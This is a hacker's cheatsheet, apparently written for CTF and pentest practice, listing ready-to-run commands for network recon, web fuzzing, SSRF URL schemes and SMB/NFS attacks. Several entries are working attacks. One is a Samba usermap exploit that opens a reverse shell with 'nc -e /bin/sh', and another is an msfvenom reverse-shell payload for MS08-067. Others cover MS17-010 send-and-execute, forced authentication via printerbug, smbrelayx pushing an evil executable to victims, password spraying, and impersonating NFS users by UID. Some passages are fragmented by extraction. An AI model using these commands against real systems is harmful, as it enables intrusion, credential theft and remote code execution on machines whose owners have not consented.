- Forget The Flag Hacksheet
- Site - CLI, local and online cheatsheet:
# Single query cht.sh go reverse a list # Interactive mode cht.sh --shell go reverse a list # Tool specific search cd go reverse a list # Copy last result without comments ccopy # Search /~<keyword> # One level search /~<keyword>/i # One level insensitive /~<keyword>/b # One level word-bound /~<keyword>/r # Recursive search # Auto-query using clipboard changes stealth # Add Q for commands-only
- Site - CLI - Simplified man pages:
tldr <tool>
- By querying Google’s NS:
dig TXT +short o-o.myaddr.l.google.com @ns1.google.com
- By asking ipecho.net:
echo -ne "GET /plain HTTP/1.0\r\nHost: ipecho.net\r\n\r\n" | openssl s_client -connect ipecho.net:443 -verify_quiet -quiet 2>/dev/null | sed -n '${G;P}'
sed -n '/[[:digit:]]/{:a;N;/LOCAL/!{D;ba};/ 127.0.0/d;s/^[^[:digit:]]*\|.\n.*//gp;q}' /proc/net/fib_trie
# TODO - Modify to use in scripts
awk '/eth0/&&$3{split($3,a,"");while(i++<8)printf"%d.","0x"a[9-++i]a[10-i];print"\b ";exit}' /proc/net/route
- Core Perl - IPv4
perl -MSocket -E 'say+inet_ntoa+inet_aton"<domain>"'
- Core Perl - IPv6
perl -mSocket -E '$_?say+Socket::inet_ntop+10,unpack+x8a16,$$_{addr}:""for+Socket::getaddrinfo"<domain>","",{socktype,3,family,10}' # See below the meaning of magic numbers
- Core Perl - Reverse Resolution
# Use AF_INET6 for IPv6 perl -MSocket -E '$_?say+Socket::getnameinfo$$_{addr},"",Socket::NIx_NOSERV:""for+Socket::getaddrinfo"<ip>","",{socktype,SOCK_RAW,flags,Socket::AI_NUMERICHOST,family,AF_INET4}'
- Locate all possible DNS servers in the network:
# Use -sS for alternate TCP scan # Maybe use 54,443 in a second round nmap -sU -sV --open --reason -T4 --min-rate=1000 -Pn -oG dns.grep -p 53,5353 10.0.0.1/24
- Find which of the possible DNSs obtained before are legit and their hostname:
# Replace -U with -T for TCP ports # Change -W <timeout> and -P <procs> # if unreliable results awk '/\/open/{gsub(" [0-9]+", "& " $2 " " $2 "\n"); gsub("/open[^,]*,?|.*Ports:",""); print}' dns.grep | xargs -n 3 -P 0 -- host -U -W1 -p | awk '!/timed out|^$|end of file/; /arpa/{print ""}' | tee dnses.txt
- Find the domain names of all the machines in the network using the detected DNS (machines without a name won’t be listed):
# Reminder: test TCP DNSs with -T awk -F' |#' '/#/{print $2, $3}' dnses.txt | while read dns port; do seq 254 | xargs -I{} -P 0 -- host -U -W1 -p${port} "${dns%.*}".{} ${dns}; done | sed -n '/domain name/{s/\([0-9]\+\.\)\([0-9]\+\.\)\([0-9]\+\.\)\([0-9]\+\.\)/\4\3\2\1/;s/\.in.* \|\.$/ /gp}' | sort -t. -k4 -nu | column -t
- Obtain the hostname of a Domain Controller with
nslookup
:nslookup set type=all _ladp._tcp.dc._msdcs.<domain>
- Attempt to perform them especially if there are servers with TCP port 53 (or 5353) open
- Address complete lookup:
# Non-standard port with -p <port> host -t ANY <ip> [<dns>] # -t NS to only show nameservers # Using the "all" flag host -a <ip> [<dns>]
- List all the records in the zone:
host -l -t ANY <hostname> [<dns>] # -t NS to only show nameservers # Using the "all" flag host -l -a <hostname> [<dns>]
- Hostname resolution:
nslookup server <dns> <ip> # Hostname returned
- List all the records in the zone:
nslookup server <dns> set q=any # Also try: set type=NS <hostname>
- Hostname resolution:
# Add +search to read resolv.conf dig @<dns> <ip> # Add +short for compact output # Reverse resolution dig @<dns> -x <ip>
- ANY details:
# Add +tcp or +notcp to use TCP/UDP dig @<dns> -4 <ipv4> ANY +nocmd +recurse +unexpected +fail +additional # Use NS to show nameservers only # Add +nssearch to search for names
- Perform Zone Transfer:
# Can use -q <hostname> instead dig @<dns> <hostname> AXFR # Can use -t AXFR instead
- Use the SecLists:
- Site - Most flexible fuzzer:
ffuf -u https://FUZZ.<domain> -c -ac -w <domlist> # Use -s to only show results # See URL Enumeration for more info # vhost discovery ffuf -u https://<ip> -H "Host: FUZZ.<domain>" -c -ac -w <domlist> # Don't forget to also try HTTP
- Site - Dir/File/DNS/VHost fuzzer:
gobuster dns -t 30 -d <domain> -w <wlist> # Use -z to hide the progress with # See URL Enumeration for more info
- Those domains found in certificates without DNSs to resolve shall be added to
/etc/hosts
:<ip> <hostname1> <hostname2>...
- Add new DNS and domain:
# Add DNS resolvectl dns <iface> <dns-ip> # State domains to resolve resolvectl domain <iface> <domain> # Domain can be "local", "htb", etc
- Note that I couldn’t get this to work, maybe because of a lack of
search <domain>
beforenameserver
- Add new DNS:
# Note that resolv.conf gets edited # by nm, resolvconf, etc echo 'nameserver <dns-ip>' >> /etc/resolv.conf # Note that options are usually # required to resolve with all DNSs
- Note that I couldn’t get this to work, maybe because I didn’t specify the domain to be searched by the conn
- Add new DNS and DNS options:
# Find <connection-name> nmcli con show # Add DNS nmcli con mod <connection-name> +ipv4.dns "<dns-ip>" # Add DNS options nmcli con mod <connection-name> +ipv4.dns-options rotate nmcli con mod <connection-name> +ipv4.dns-options timeout:1 nmcli con mod <connection-name> +ipv4.dns-options retries:1 # Reload connection nmcli con reload <connection-name>
- Batch ping-sweep:
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.0.0.%i > nul && echo 10.0.0.%i is up
- Quick TCP - Top 100 ports - SYN Scan:
# -T<0-5> Timing of the scan # -T0 -> slowest | -T5 fastest # Improve results by lowering -T # -T4 is good enough for fast networks # -T3 is the default # -T2 and less for cautious # Figuring --min-rate is a priority # Use --max-rate 5 if WAF blocks IP with # --scan-delay 5ms --max-scan-delay 6ms # -sT for CONNECT scan # Ignore Windows ports above 49152 # Remove -n to resolve <hostname> nmap -sS -n -sV -Pn --open --reason -T4 --min-rate=5000 --top-ports=100 -oG <name>-100-tcp.gnmap <ip/hostname> # Try CONNECT scan if no results
- Full TCP - all ports - SYN Scan:
# -sT for CONNECT scan nmap -sS -n -sV -Pn --open --reason -T4 --min-rate=5000 -p- -oG <name>-all-tcp.gnmap <ip/hostname> # Try CONNECT scan if no results
- Quick UDP - Top 50 ports:
# --min-rate is always less for UDP nmap -sU -n -sV -Pn --open --reason -T4 --min-rate=1000 --top-ports=50 -oG <name>-50-udp.gnmap <ip/hostname> # If only open|filtered: # Remove -sV unless scan was fast
- Print hosts with their open ports using nmap grep output:
awk '/\/open/{gsub("/open[^,]*,?",""); match($0,"[0-9 ]+$"); print $2 substr($0,RSTART)}' <scan>.gnmap
- Update scripts:
nmap --script-updatedb
- Default scripts + Deep fingerprint:
# -sT for CONNECT scan # -sU for UDP scan # Provide both -sS and -sU along # with -p U:<udp-port>,T:<tcp-port> nmap -sS -n -sV -sC -A --open --reason -Pn -T4 --min-rate=1000 -p<ports> <ip/hostname>
- Vulnerable scripts:
# -sT for CONNECT scan # -sU for UDP scan # Provide both -sS and -sU along # with -p U:<udp-port>,T:<tcp-port> nmap -sS -n -sV --open -Pn -T4 --min-rate=1000 --script=vuln -p<ports> <ip/hostname> # Vuln scripts not in the vuln pack nmap -sS -n -sV --open -Pn -T4 --min-rate=1000 --script=\*vuln\* -p<ports> <ip/hostname>
- ? ports accessible with netcat:
# Note how long it takes nc to conn time nc -nv <ip> <port> # echo quit | time nc ... to measure # Edit nmap/nmap-service-probes locate nmap-service-probes # Set totalwaitms to the nc time # Also alter the NSE scripts timeout # or add the appropriate script-args nmap -sS -n -sV -sC --open -Pn -T4 --min-rate=1000 -p<?ports> <ip/hostname> # --script-timeout=<t> ends after t
- Full UDP - all ports - Really slow:
# Only use -sV with open ports nmap -sU -n -Pn --open --reason -T4 --min-rate=1000 -p- -oG <name>-all-udp.gnmap <ip/hostname>
- Segmented scan over SOCKS tunnel:
# Using tun2socks for improvement sudo -v; seq 100 100 65535 | while read ports; do sudo nmap -sS -n -sV -Pn --open --reason -T4 --min-rate=5000 -p$((ports - 100))-$ports -oG tun-100-tcp.gnmap -e tun10 <ip> 2>&1; cat tun-100-tcp.gnmap >> tun-all-tcp.gnmap; sleep 2; done | stdbuf -i0 -o0 awk '/open/ && !/tcpwrapped/' | tee out.nmap # chisel was used as SOCKS mechanism
- Site - Binary - shodan.io powered nmap:
# Passive, fast + a few false negatives smap <target1> [<target2> ...] # -oS - - Custom smap out format # -iL <ifile> - List of targets to scan # The -p only allows comma-sep ports: # -p $(seq -s, 0 15536) # Other nmap options are ignored # IPv6 not supported
- List of shodan ports
- Install the Zero Copy driver if your card supports it and check for it:
# Check if the driver is identified masscan --iflist # If your iface has the PFRING id # you can add the --pfring flag # To the scans
- Scan all TCP ports:
masscan -e <iface> --rate=5000 -p1-65535 --interactive -oG <name>-all-tcp.gmscan <ip/hostname> # You can add --retry 2 or lower the # rate to make it more accurate
- Scan all UDP ports:
masscan -e <iface> --rate=1000 -pU:1-65535 --interactive -oG <name>-all-udp.gmscan <ip/hostname>
- Print hosts with their open ports using masscan grep output:
sort -k4 <scan>.gmscan | awk -F'\\s|/' '/open/{if(ip != $4){if(ip){print ""};ip=$4;p=ip}; printf "%s %s", p, $7; p=""} END{print ""}'
- Find open ports using bash:
seq 65535 | xargs -I {} timeout .2 bash -c ": > /dev/tcp/10.0.0.1/{}; echo {}"
- Grab the banners and interact with the service:
# Add -C for adding carriage return nc -nv <ip> <port>
- Capture all traffic from an iface:
# Filter to a given ip + port exclude tcpdump -i <iface> host <ip> and not tcp port <port>
- Detect remote open ports if a firewall is in the way with
ncat
:# In remote machine (also -u for UDP) seq 65535 | xargs -P 0 -I{} ncat -p {} -w 1 <lip> <lport> 2>/dev/null # <lip> is the machine with tcpdump
- The same can be achieved with
socat
using SOCKS/TCP4 withsourceport=port
,socksport=port
, orbind=:<port>
, and maybereuseaddr
- TODO
nmap --script=http-enum
- Site - Interesting files (Flags):
# Int files: -f <file1>,<file2>... # Int extensions: -e <php>,<js>... dirhunt --limit 0 http://<ip>/ # Exclude -x <flags>: # -x http,not_found,index_of,300-500
- Site - Fast spider written in go:
# Crawl dom+subdomains indefinetely gospider -s <url> -d 0 --sitemap -w # --json - JSON output # -r - Also find from Archive.org
- Non-duplicated sites clean output - proxy
gospider -s <url> -p http://<proxy:p> -d 0 --sitemap -w | awk '!x[$NF]++{print $NF}' # Filter-> Prepend /<site>/~$NF&& to awk
- Or with json + cookies - no subdomains:
gospider -s <url> --cookie 'a=b; c=d' -d 0 --sitemap --json | jq -r '.output' | awk '!x[$0]++' # --whitelist-domain=<regex> - Dom only
- Site - Wayback Machine crawler:
hakrawler -u <<< "<url>" # -u - Show unique URLs only # -d <n> - Depth to crawl, defaults to 2 # -subs - Also crawl subdomains
- Site - OSINT crawler (stdout values):
# Crawl site - show same-domain URL: photon.py -u 'http://<ip-hostname>' --only-urls -t 5 -l 999 --stdout=internal # Exclude: --exclude='/manual[1|2]' # Scrap content based on regex: photon.py -u 'http://<ip-hostname>' -t 5 -l 999 --stdout=custom -r 'https?://[A-z0-9\._\/\-?=]+' # Find high entropy secrets: photon.py -u 'http://<ip-hostname>' -t 5 -l 999 --keys --stdout=keys # Check <ip-hostname>/{intel,files} # Locally clone the site: photon.py -u 'http://<ip-hostname>' -t 5 -l 999 --clone # Check --ninja and --wayback flags
- For self-signed certs errors, find all instances of
requests.get()
and add ~, verify=False~ as last param - Ref# Execute in the Photon folder grep -r 'requests.get(' | cut -d: -f1 | xargs -I{} sed -i 's/\(requests.get(.*\)\([,)]\)/\1, verify=False\2/' {}
- Site - OSINT Data collector Framework:
# Extract based on regex maryam -e crawl_pages -d <ip-host> -r 'https?://[A-z0-9\._\/\-?=]+' --thread 5 --limit 999 --more # Check the --wayback flag # Use crawler to simply crawl
- Site - Interactive Web Crawler:
# Press Enter & Ctrl+Space to search evine -robots -sitemap -depth 999 -url http://<ip-hostname> # Tab move | CtrlS save | CtrlZ exit # Query field <ext> # Show all files.<ext> all # Show all findings url # Show in-scope URLs all_urls # Out-scope URLs query_urls # In-scope URLs with ?q= script/css # JavaScript/CSS files cdn # CDN files comment # HTML comments media # Non-web files: PNG, ZIP phone # Phone numbers from href email # In/Out-scope emails network # Social Media IDs/links dns # Subdomains of the site <jquery> # Obtain selector content # Example: $("a").attr("href")
- JQuery selector methods
- Site/npm - Identify Web Technologies:
# -a <User-Agent> | -P Pretty JSON wappalyzer <url> -p -r -P # -D/-m Max depth/urls
- Site - HTTP parameters discovery
arjun -u '<url>' # -i <file> - Multiple URLs # -m <method> - GET/POST/XML/JSON # --stable - Use when unstable # --passive [] - Use Wayback, etc # -w <file> - Use custom wordlist # -oB [<port>] - Proxy to Burp
- Use the SecLists:
- onelistforallmicro.txt as extra
- All in one without repeats:
awk '!x[$0]++' *.txt > all.txt # Order not preserved sort -u *.txt > all.txt
- Separate non-extensions vs extensions:
grep -v '%EXT%' all.txt > no-ext-all.txt grep '%EXT%' all.txt > ext-all.txt
- Or all without repeats and
%EXT%
:awk '{gsub(/\.?%EXT%\.?/,"")}!x[$0]++' *.txt > all.txt # sed+sort variant - order not preserved sed 's/\.\?%EXT%\.\?//' *.txt | sort -u > all.txt
- Remove duplicates from previous dicts:
echo "-<ndict>-" | awk '!x[$0]++&&p;!p{p=/-<ndict>-/}' <odict> - <ndict> > <cndict>
- Followed by some Web App/Server specific (Windows/Linux, IIS/Apache…) + dirb ones
- Apache:
- IIS:
- Remove previously used items from dict:
# Using bash/zsh pipes comm -23 <new-dup> <(sort -u <old-1> <old-2>) > <new-clean>
- If case is ignored, lowercase all:
tr '[:upper:]' '[:lower:]' < <dict>
- Remove leading slashes if duplicates:
sed 's,^/\+,,' <dict>
- Check the behavior of trailing slashes
- If some dirs with slashes return
40x
errors but are redirected without them, remove them all:sed 's,/\+$,,' <dict>
- If only trailing slashes identify dirs, append a slash to items without .ext:
sed 's,/\+$,,;/\..\+$/!s,$,/,' <dict>
- If some/all dirs without slashes get redirected, duplicate all with both:
sed '/\/\+$/{p;s///}' <dict>
- If some dirs with slashes return
- Use such rules with the following dictionaries as the next step:
- Use dirs-big.txt as ext template for
html
,txt
,conf
+ jsp/php/cgi or run: - Make
dirsearch
%EXT%
compatible:sed '/\..\+$/!{s,/\+$,,;s,$,%EXT%,;}'
- Make
dirsearch
%NOFORCE%
compatible:sed '/\..\+$/s,$,%NOFORCE%,'
- You may want to go back to
nmap
and execute all the*vuln*
scripts and those Web App/Server specific before continuing - As last resort (+ lowercase versions):
- ProbableWL <- Only random sites
- rockyou.txt <- Only random sites
- OneListForAll <- Desperate
- all-wordlist.txt
- Use if LFI has been identified:
- LFI-Jhaddix.txt - Generic
- LFI-LFISuite-pathtotest-huge.txt - Big
- LFI-gracefulsecurity-linux.txt - Linux
- LFI-gracefulsecurity-windows.txt - Win
- LFI - Create fuzzing files for ffuf/wfuzz:
paths.txt
../ ../../ ../../../ ../../../../ ../../../../../ ../../../../../../ ../../../../../../../
files.txt
file1.txt file2.conf etc/passwd
- Site - Most flexible fuzzer (Ref):
# FUZZ will be the param subtituted ffuf -u <url>/FUZZ -c -ac -ic -w <wlist> # -c - color # -ac - Auto-calibrate filters # -ic - Ignore comments in <wlist> # # -r - Follow redirects # -ignore-body - Don't fetch body # -acc <str> - Custom-auto-calibrate # -t <threads> - 40 by default # -s - Silent mode - results only # -v - Full URLs and redirects # -o <file> - Save results to file # -or - Don't create file if empty # -of <output-format> - json/md/csv # -od <output-directory> # # <ENTER> to enter interactive-mode # help | resume/ENTER | [queue]show # fc/fl/fw/fs <value> | restart # # -noninteractive - Disable int-mode # Fuzz rate limited with variable delay ffuf -u <url>/FUZZ -t 4 -p '0.5-0.6' -rate 5 -c -ac -ic -w <wlist> # -p <delay> - Fixed or variable # Fuzz multiple domains ffuf -u 'https://DOM/WLIST' -ac -sf -c -w <domlist>:DOM -w <wlist>:WLIST # -sf - Stop when HTTP 403 > 95% # Fuzz params with reflective match ffuf -u <url>/?PARAM=VAL -mr "VAL" -c -w <paramlist>:PARAM,<valist>:VAL # -m pitchfork - Try same line wlist # Line 1 param -> Line 1 val # Line 2 param -> Line 2 val... # Fuzz extensions recursively ffuf -u <url>/FUZZ -c -ic -w <wlist> -recursion -e .bak,.zip # -D - DirSearch advanced exts mode # -recursion-strategy default/greedy # Fuzz headers - Custom Auto-filter ffuf -u <url> -c -w <vhostlist> -acc 'www' -H 'Host: FUZZ.<domain>' # Fuzz cookies through a proxy ffuf -u <url> -w <wlist> -x <proxy> -c -b 'admin=FUZZ' # -b <cookies> - Cookies ';' delim # -x <socks5/http>://<ip> - Proxy to use # -replay-proxy <proxy> - Relay # Fuzz POST data with PUT method ffuf -u <url> -w <wlist> -X PUT -c -d 'user=FUZZ' # -X <method> - HTTP method to use # -d <data> - POST data | JSON data # Fuzz creds from a request capture ffuf -request <req> -c -ac -w <ulist>:USER -w <plist>:PASS # -request-proto http - Force HTTP # -mode pitchfork - Use for SQLi # Filter-out HTTP statuses & length ffuf -u '<url>/FUZZ' -c -w <wlist> -fc 500,403,301 -fs 0,1 # -fc <codes> - HTTP statuses # -fs <sizes> - HTTP sizes # -fw <count> - Word count # -fl <count> - Line count # -fr <regex> - Regex # Match codes and regex ffuf -u '<url>/FUZZ' -c -w <wlist> -mc 200,204 -mr '[aA]dmin|pass' # -mc <codes> - HTTP statuses | all # -ms <sizes> - HTTP sizes # -mw <count> - Word count # -ml <count> - Line count # -mr <regex> - Regex
- Site - Dir/File/DNS/VHost fuzzer:
# Pay attention to 405 codes gobuster dir -t 30 -u <url> -w <dic> # Add --no-error to hide bad urls # Use -k to ignore SSL validation # Use -b with the codes to ignore # Use -s with only the codes to show # Use -x with the extensions to test # Use -f to add a slash to the words # Use -a to set an User-Agent # or use --random-agent # Use -e to show the full URL match # Use -z to hide the progress with # the last resort lists as it breaks # Increase threads with big lists # Use -o to save to file # Use -q to hide banner and progress # Fuzz HTTP parameters gobuster fuzz -u '<url>?FUZZ=test' -w <dic>
- Pattern support
- Site - Multi-purpose fuzzer - docs
# -> Filters may glitch the terminal wfuzz -w <wlist> -Z -c '<url>/FUZZ' # -Z - Ignore errors | -c - colors # -H <header> # --hh <n> - Filter by size # --hl <n> - Filter by lines # --hw <n> - Filter by words # --hc <c> - Filter by HTTP code # --hs <r> - Filter by PyRegex # Use --s[hlwcs] <w> for matches # Filter using a baseline + cookie wfuzz -w <wlist> -X HEAD --hh BBB -b 'PHP=lol' -c '<url>/FUZZ{nopage}' # First request will be <url>/nopage # Read from stdin and fuzz POST sed '1,33d' <file> | wfuzz -z stdin -d 'user=FUZZ&pass=test' -c '<url>' # Fuzz HTTP Basic + follow redirect wfuzz -w <wpwd> -w <wusr> --basic 'FUZ2Z:FUZZ' --follow -c '<url>' # Fuzz numeric identifier wfuzz -z range,0-100 -Z -c '<url>/FUZZ'
- wfpayload TODO
- Apparently still better than ffuf
- Site - Bin - Multi-URL screenshot+collage:
# Screenshot multi-URLs + populate DB gowitness file -f <urls.txt> # -F - Fullpage capture # --header "<header>" - Chainable # --user-agent "<UA>" # -t <threads> # -d <secs> - Screenshot delay # -p <proxy> # --no-http[s] - If no URL schema # Screenshot single URL gowitness single --disable-db -o <file> <url> # --pdf - Save screenshot as PDF # -P <dir> - Screenshot directory path # -X <width> # -Y <height> # --disable-logging # Show a simplified database status gowitness report list # Start complete report server gowitness server -a <ip:port> # -A - Allow non HTTP(S) URIs # Save visual report site as standalone gowitness report export -f <archive.zip>
- Site - Flexible Puppeteer web capture cli:
capture-website --output=web.png <url/file> # --header="<header>" - Can be chained # --cookie="<cookie>" - Can be chained # --user-agent="<UA>" # --authentication="<http-auth>" # # --emulate-device="<device>" # --list-devices # # --timeout=<secs> # --delay=<secs> # # --scale-factor=<n> # --module=<js/file> - Inject JavaScript # --script=<js/file> - Inject JS: script # # --no-javascript # --no-block-ads # --no-default-background # --disable-animations # # --dark-mode # --style=<CSS/file> - Inject CSS style # # --element=<CSS-selector> - Capture DOM # --click-element=<CSS-selector> # --wait-for-element=<CSS-selector> # --scroll-to-element=<CSS-selector> # --hide-elements=<CSS-selector> - Chain # --remove-elements=<CSS-selector> - ^ # # --launch-options="<puppeteer-json>" # Auto-crop full-page with --height=1 capture-website --height=1 --full-page --overwrite --output=web.png <url/file> # 'Unable to capture screenshot' means # that the height is above 10000000px # This is a Chrome limitation # Use --inset to workaround the issue capture-website --height=30000 --inset=20000,0,0,0 --overwrite <url> # ^ 10000 pixels from 20000y-px
- Site - HTTP Client - hidden flags:
# Ctrl-J/K: Down/Up |Ctrl-R: Submit # Ctrl-E: Export Curl|Alt-H: History # Ctrl-S: SaveRequest|Ctrl-C: Quit wuzz http://<ip-hostname> # Proxy: -x <proxy-url> # URLencode data + no redirect wuzz --data-urlencode "user=<hi>" -R http://<ip-hostname> # For GET urlencode try: -X GET # For binary data: --data-binary <d> # Multiple data: user=user&pass=pass
- Site - Proxy - Docs/Addons (xss/sqli):
# Listens on port 8080 by default mitmproxy --anticache -p 8080 # Other mode: -m socks5/transparent # Use addons: -s <addon.py> # Don't verify SSL: -k # Client obtain SSL: http://mitm.it # Vi movement | Commands: f # Regex of captures to show/edit i # Regex of captures to intercept I # Toggle intercept v # Reverse capture order o # Set capture ordering n # Make new request D # Duplicate capture :export.clip curl @focus # Clipboard e # At mainpage view: Export to file e # At capture/intercept view: Edit V # Revert capture/intercept changes r # Replay capture a # Forward selected intercept A # Forward all intercepts X # Drop intercept d # Delete capture z # Delete all captures F # Focus on capture P # Show capture details m # Toggle capture mark M # Toggle show only marked U # Unset all marks Z # Remove not showing S # Start server replay E # Show event log - # Cycle layouts O # Change Options ? # Help (view specific and global) # Capture/Intercept filter expr: ~q # Match Requests ~c <rcode> # Match HTTP Res Code ~m <regex> # Match HTTP Method ~u <regex> # Match URL (default) ~b <regex> # Match Req/Res body ~bs <regex> # Match Response body ~h <regex> # Match Req/Res header ~hq <regex> # Match Request header ~src <regex> # Match src address ~dst <regex> # Match dst address ~marked # Match marked Req/Res ~a # Match assets IMG,JS.. ~e # Match errors ~http ~tcp ~websockets # Match flows # Unary expr: ! & | and: () grouping # For auto-regex replacement check: # Map Remote/Local Modify Body/Headr # Set/Alter headers -> Options modify_headers /<header-name>/<value> # Mitmproxy has a Python library
- Export to
curl
command format and add-j <cookiejar>
to get Netscape cookies - If HAR dumping, use Hargo to process
- Use mitmdump for non-interactive CLI
- Site - Convert Raw HTTP Request:
# To NodeJS (JSON header) requestify.py -i <raw> -l nodejs
- Map all open localhost TCP ports:
# GET request seq 65535 | xargs -P 0 -I{} sh -c 'curl -m 5 -s "http://<domain.port>/?url=http://127.0.0.1:{}" | tr "\n" " " | sed -n "/[^ ]/{s/^/\n[+] {}:\n &/;s/$/\n/p}"' # POST request seq 65535 | xargs -P 0 -I{} sh -c 'curl -m 5 -s -L --data-urlencode "url=http://127.0.0.1:{}" http://<domain.port> | tr "\n" " " | sed -n "/[^ ]/{s/^/\n[+] {}:\n &/;s/$/\n/p}"'
- May accept inline Basic Auth:
http://<usr>:<pass>@<domain/ip>
- Spaces not allowed - hex-code them
- Inline auth supported:
ftp://<usr>:<pass>@<domain/ip>
- Like in the filesystem -> Don’t think it follows the HTTP rules, but some implementations may vary (ex: Windows)
- You may specify a hostname:
file://<host>/<full/path>/file.txt
- Omitting
<host>
meanslocalhost
- For Windows, the drive is necessary:
file://<host>/c:/<path>/file.txt
- But the host is optional:
file:///c:/<path>/file.txt
- Four slash host is an alt for Win UNC:
file:////<server>/<dir>/file.txt
- Like
\\<server>\<dir>\file.txt
- Spaces supported as is, no hex need:
file:///<full/path>/test file.txt
- One slash means that there’s no host:
file:/<full/path>/file.txt
- GET request for
/test
on localhostgopher://<ip>:80/_GET%20/test%20HTTP/1.1
- Empty POST request to
/
on localhostgopher://<ip>:80/_POST%20/%20HTTP/1.1%0a
- Plaintext or Base64, other encodings may be supported:
data://text/plain,<plaintext>
data://text/plain;base64,<b64text>
- Optional attributes may allow specifying a filename (
name
):data://application/pdf;name=document.pdf;base64,<b64text>
- Leading slashes might be omitted:
data:image/gif;base64,<b64text>
- All enums
nmap -sS -n -sV --open -p135,139,445,1025 -Pn --script=\*smb\*enum\* <ip> # Set a different user/pass with: # --script-args=smbusername=<user> # Use a , and smbpassword=<pass> nmap -sS -n -sV --open -p135,139,445,1025 -Pn --script=\*smb\*enum\* --script-args=smbusername=<user>,smbpassword=<pass> <ip>
- Proto + MBenum + OS + Security + Stat
nmap -sS -n -sV --open -p135,139,445,1025 -Pn --script=smb-protocols,smb-mbenum,smb-os-discovery,smb-security-mode,smb-system-info,smb2-capabilities <ip>
- Many useful scripts:
nmap -sS -n -sV --open -p135,139,445,1025 -Pn --script=smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-services,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-ls,smb-mbenum,smb-os-discovery,smb-protocols,smb-security-mode,smb-server-stats,smb-system-info,smb2-capabilities,smb2-security-mode,smb2-time <ip>
- All the previous scans can be made unsafe by setting
--script-args=unsafe=1
- Vulnerability enums:
nmap -sS -n -sV --open -p135,139,445,1025 -Pn --script=smb\*vuln\* <ip>
- All “useful” SMB scans unsafe-mode:
nmap -sS -n -sV --open -p<ports> -Pn --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 <ip>
- Site - ng-version - Enum SMB info
enum4linux -d <ip> # -u <user> | -p <pass> # Extra for DCs enum4linux -d -a -l <ip>
- First add
min protocol = NT1
orSMB2
to the end of/etc/smb.conf
- List services/shares:
# Use -N for no-password # Change the security inline # --option='client min protocol=NT1' smbclient -L <ip> --port=<alt port> --user=<optional user> # <ip> may need to be: # //<ip>/ # \\\\<ip>\\
- Connect to service:
# Use -N for no-password smbclient //<ip>/<service>$ # You will have more luck with those # that don't end in a $
- Auth access to the System Volume:
smbclient -U "<user>%<pass>" //<ip>/SYSVOL ls
- Site - SMB enumeration tool:
smbmap -u 'guest' -H <ip> # Wrong username required to work # -p <passwd/ntlm> # -x <cmd> - Execute command # -R <share> - Recursive listing # --upload <src> <dst> # --download <path>
- Site - Multi-protocol bruteforcer:
# Check hydra -U smb for more opts hydra -l admin -P <dict> smb://<ip>
- CrackMapExec - Swiss Army Win pentest
# Spray a password across users crackmapexec smb <ip> -u <userlist> -p <passwd>
- SMB reference
# Using SMBv1
# Press <Enter> when asked for a
# password to mount anonymously
mount -t cifs -o vers=1.0,username=guest //<ip>/<service>$ /mnt
# Alternative
mount -t cifs -o vers=1.0,guest //<ip>/<service>$ /mnt
# You may try to pass user=<name>
# to impersonate
# Last alternative
mount -t cifs -o vers=1.0,sec=none //<ip>/<service>$ /mnt
# Also try without the trailing $
- Affects SMB 3.0.0 < 3.0.25rc3
- Anon login required to a share:
# Change the security with # --option='client min protocol=NT1' smbclient -N //<ip>/<share> # logon command must be available help # Spawn a reverse shell logon "./=`nohup nc -n <ip> <port> -e /bin/sh`" # Fallback to $() and single quotes
- There’s also this Python implementation
- Use ms08-067.py
- Replace the payload with
msfvenom
:msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=8080 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode
- Run it:
python2 ms08-067.py <ip> <os-type> <port>
- Modify the Python scripts for just sending files after obtaining a shell (search and comment the
service_exec
function call) - IMPORTANT: The scripts may fail if using blank credentials, whereas they won’t with the wrong ones (see
smbmap
) - helviojunior/MS17-010
- Win XP - Send and run executables:
# Modify USERNAME if needed python2 send_and_execute.py <ip> <shell.exe>
- Win XP - Send and run executables:
- 3ndG4me/AutoBlue-MS17-010
- Modern scripts but no XP exploitation
- Best pipe finder (works in XP):
python2 eternal_checker.py <ip>
- Site - Auth -> SpoolService bug via SMB
# Force auth with attacker: responder printerbug.py [[<dom>/]<user>[:<pass>]@]<host/ip> <attacker-ip>
- psexec.py - SMB upload & exec bin: cmd
# By default runs cmd.exe psexec '[dom/]<user>[:<pass>]@<ip>' # -no-pass # -hashes <LM>:<NT> - NTLM auth # -k - Kerberos auth
- smbserver.py - Share a path over SMB:
# sudo required for port 445 binding sudo smbserver.py share . # Modern need: -smb2support for SMB2
- Download/Upload files from Windows:
:: Download copy \\<ip>\share\<remote-file> . :: Upload copy <local-file> \\<ip>\share\
- smbrelayx.py - Serve payload on conn:
# Send evil exe to victims smbrelayx.py -h <ip> -e <evil-exe> # The evil exe will be executed
- Site - Execute commands remotely on Windows NT/2000/XP/2003 - winexe serv:
winexe -U 'Administrator%<pass>' //<ip> 'cmd.exe'
- There may be some issues with the SMB modules, try the proposed fixes:
set SMBUser <user> set SMBPass <password> set SMB_SHARE_NAME <writable_folder> set SMB::AlwaysEncrypt false set SMB::ProtocolVersion 2,3 # Or proto 1 set SMB::ProtocolVersion 1
- Show the available NFS shares:
showmount -e <ip/hostname> # -d -> Dirs mounted by clients # -a -> All info (non-reliable)
mkdir /tmp/<path>
mount -t nfs <ip>:<rpath> /tmp/<path> -nolock
- Only works if squashing is disabled:
# Remote host - Check for squashing: cat /etc/exports # root_squash -> disable remote root # no_all_squash -> enable remote usr
- List exported folder UID and GID:
# Main folder owners ls -lahud <folder> # Folder content owners ls -lahu <folder>
- If
no_all_squash
is set, create a local user with the same UID and GID:useradd -M -u <uid> -g <gid> -o <name> # -M - Don't create home folder # -o - Allow non-unique ids
- Switch to the user to access the dir:
sudo -u <usr> -i /bin/bash # or su <usr> cd /tmp/<path>
- Remove the user:
userdel -r <name> # -f - Force deletion
- Show all RPC services registered:
# Uses rpcbind version 1 rpcinfo -s <ip/host> # -s -> Simplified output # -n <port> -> Use port number # -a <ip:port> -T tcp/udp - Alt # Query service (cannot use -s) rpcinfo [-t|-u] <ip/host> <serv-num> # Uses rpcbind version 2 rpcinfo -p <ip/host> # Query service - version 2 rpcinfo -p <ip/host> <serv-num> # -T tcp/udp -> Force transport # -l -> List all entries
- Anon bind and user enumeration:
